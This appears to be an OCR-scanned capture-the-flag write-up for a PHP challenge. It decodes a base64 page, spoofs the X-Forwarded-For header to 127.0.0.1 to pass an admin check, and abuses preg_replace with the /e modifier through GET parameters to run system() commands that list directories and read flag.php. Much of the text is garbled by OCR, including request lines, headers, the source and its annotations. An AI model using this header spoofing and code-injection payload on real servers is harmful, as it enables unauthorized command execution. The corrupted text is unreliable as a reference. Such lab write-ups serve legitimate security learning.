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HAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNIc3Npb25fc3RhcnQoKTsKeG9zaXhfc2VOdWIkKDEwMDApOwoKCj8+CjwhRE9SDVFIQRSBIVE 1MPgo8aHRtbD4KCjx
Tog73vvizpnlDopoHkvp3otZZIbGViZW505qih5Z2XCiAgICAgICAgLY
kKzIr7zoiKrgrnlh7sKICAgICAgICBIbGVZW50LmOuUKCduY XYoZGVitbyknLCBmdW5jdGIvbihIbGVtKSB7CiAgICAgICAgGICAgIC8VY29uc29sZS5sb2coZWxIbSKKICAg
CAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoglCAgPGRpdiBzdHIsZT0idGV4dC1hbGInbjpjZW50ZXIiPgoglCAgICAgIDxwIGNsYXNzPSJsZWFklj48P3BocCBIY2hvICRwYV
J4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCNn1IbHNIewoKPz4KICAgICAgICA8YnlgLz48YnlgLz48YnlgLz48YnlgLz4KICAgGICAgICABZGI2IHNOeWxXIPS
2gogICAgICAgICAgICAgICAgaWYgKHNOcnBveygkcGFnZSwgJ2lucHV0JykgPiIAwKSB7CiAglCAgICAgICAgICAgICAgICAgZGIIKCK7 CiAgICAgICAgICAgICAgICBIC:
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IFgogicAgrceAgILDWYCLDANRICAYICAYICAS TTTITLLAO TTHYLLAO TTIYLLAO Y THYLLAN U JW/ICOTNIWILTT TICGORLYITTIHITIRVI
/nmoTIrp7njrDovpPlhaXovpPlh7rmmoTlip

log70s50q2j5Zyo5byAS5Y +R5LIit55qESYqf61097 7yM5Y +q61095YaF6Y005Lq65ZGY 5rWLEK+VCgppZiAoJFITRVIWR'
9GT1JXQVJERURIRkKISJ10gPTO9ICcxMjecuMCAwL]EnKSB7CgoglCAgZWNobyAIPGJylD5XZWxjb211IE15IEFkbWIu
oKICAgICRwWYXR0ZXJulDOgJFOHRVRbcGFOXTsKICAgICRYyZXBsYWNIbWVudCA9ICRfROVUW3JIcFO07 CiAgICAke3
ROVUW3N1YI07CgoglCAgaWYgKGlzc2VOKCRwWYXR0OZXJuKSAMJiBpe3NIdCgkemVwbGFjZW11bnQplCYmIGIzc2Vi
OKSkgewoglCAgICAgIHByZWdfemVwbGFjZSgkcGF0dGVybiwgJHJIcGxhY2VtZWS50LCAkec3ViamVjdCk7CiAgiCB9Z\
AglCBkaWUoKTsKICAgIHOKCnOKCgoKCgo/PgoKPC9ib2R5PgoKPC90dG1sPgo=
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Base64 fRAZEABRIAER

<?php]
error_reporting(0);

@session_start(); C5DMN @sganyua
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https://base64.us/

<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {//#EburpiiX-Forwarded-For:
echo "<br >Welcome My Admin ! <br >";//#itliWelcome My Admin !
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {//AE=H NFFiH
preg_replace($pattern, $replacement, $subject);//fFfipreg_replacelwiF

}else{
die();

# | — T preg_replacerk £, A — MR EKINFAAAE. 251
preg_replace("/txt/e",$_GET["ganyu"],"txt");/e2 ¥ ganyu 2 fiphpftidia T

1 preg_replace B /e IZIEFF=¥ replacement Z4{={F php {X83, FELA eval BREHEIAGZHIIT

preg_replaceifi%

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject f5—int$timit=—31F;—int—
&$eount—1t )

$pattern: BRI, 7] LR PR B — N TR AR A
$replacement: [T &5 4 () 7457 B B 7 15 H8 04

$subject: T B B H AR 47 f B AT S 54l

-
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S ¥ X-Forwarded-Fori>4127.0.0.1

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=]e8dl7egoeihaSfvhulSentlfs
¥-Forwarded-For:127.0.0.1
Upgrade-Insecure-Requests: 1
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?pat=/txt/e&rep=system("1s")&sub=txt

Pretty e \n Actions

1 GET /index.php?pat=/txt/e&rep=system("ls") Gsub=txt HTTE/1.1

Z Heost: 111.200.241.244:53928

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:91.0) Gecko/Z0100101 Firef
4 Accept: text/html, application/xhtml+:nl, application/sml; gq=0.9, image/webp, */*;q=0.8
5 Accept-Language: =zh-CN, zh;q=0.8, sh-TW; q=0.7, =zh-HE; g=0.5, en-U3; q=0.3, en; gq=0.2

& Accept-Encoding: gzip, deflate

7 Connection: close

8 Cookie: PHPSESSID=]e8dl7eqgoeihaifvhulSentlfea

G

¥-Forwarded-For:127.0.0.1
10 Upgrade-Insecure-Requests: 1
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Y &) S
Welcome My Admin ! <hr =
css
index.html
index. php
s
layui
logo. png
s3chahahaDir
start. sh
O0. png
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Jj lnls3chahahaDir

?pat=/txt/e&rep=system("1ls+s3chahahaDir")&sub=txt

Request Response

Pretty e \n Actions w Pretty Raw \n Actions

GET /index.php?pat=/txt/e&rep=system("ls+s3chahahaDir")&sub=txt HTTE/1l.1l
Host: 111.200.241.244:63928

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x84; rv:91.0) Gecko/20100101 Firefox/91.0 =FaeaEsEihd)
Accept: text/html, application/xhtml+:ml, application/sml;q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0. 3, en; q=0.2
Accept-Encoding: gzip, deflate

o b

Connection: close

Cookie: PHPSESSID=]=Bdl7sqosihalfvhulient? {6 Ny
Upgrade-Insecurs-Requests: 1 A = 5”%
0 ¥-Forwarded-For:127.0.0.1

Cache-Control: max-age=0
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?pat=/txt/e&rep=system("1ls+s3chahahaDir/flag")&sub=txt

GET /index.php?pat=/txt/edrep=system("ls+s3chahahabir/flag"”) &sub=txt HTTE/L1l.1 I

Host: 111.200.241.244:83928 56 {

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:91.0) Gecko/Z0100101 Firefox/91.0 field: "check”, title: '
Accept: text/html, application/xhtml+sml, application/sml;q=0.9, image/wehp, */*;q=0.8 }

1
1.
page: true

t

Accept-Languages: zh-CN, zh;q=0.8, gsh-TW; g=0.7, zh-HE; q=0.5, en-Us8;gq=0.3, en; q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookle: PHESESSID=]=8dl7eqosihaSfvhulSentlia

Upgrade-Insscure-Requests: 1 Vi
X-Forwarded-For:127.0.0.1 6l }
Cache-Control: max-age=0 )i
3 </script>
<script>
layui.use("=lement”, functior
65 var element = layui.element
J//000hev= :O00000000000000
//000000

element. on("nav(demo) ", fur
//console. log(elem)

layer.msgi{elem.text());
70 }
Vi
71 t
)i

2 </script>

T4 <hr >
Welcome My Admin | <br >
flag.php
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e~ N A Eflag.php
n s "
?pat=/txt/e&rep=system("cat+s3chahahabir/flag/flag.php")&sub=txt
GET /index.php?pat=/txt/edrep=system("cat+s3chahahaDir/flag/flag.php")&sub=txt HITE/Ll.1 57 1
Host: 111.200.241.044:63928 1.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&%; x62; rv:91.0) Gecko/20100101 Firefox/91.0 page: trus
Accept: text/html, application/xhtml+ml, application/sml; q=0.9, image/webp, */*;q=0.8 ¥
Accept-Language: zh-ClN, zh;g=0.8, zh-TW; g=0.7, zh-HK; g=0.5, en-Us; ¢=0. 3, en; q=0.2 )i
Accept-Encoding: gzip, deflate 61 ]
Connsction: close )i
Cookie: PHPSESSID=je8dl7eqoeihaSfvhulientlfe </script>
Upgrade-Insecure-Requests: 1 <script>
X-Forwarded-For:127.0.0.1 layui.use('element’, function() {
Cache-Control: max-age=0 €5 var element = layui.element;
//000hove rO000000000000001 ement00
/ /000000
element. on("navidema) ", function(elem) [

//console. Log (slem)
laysr.msg(slem. text());
}
)i

- )
Vi
</script>

4 <br >
Welcome My Admin | <br >
<?php

Sflag = 'cyberpeace(CDI:TD3f]:a77d45c39a5d5])9&9.': B
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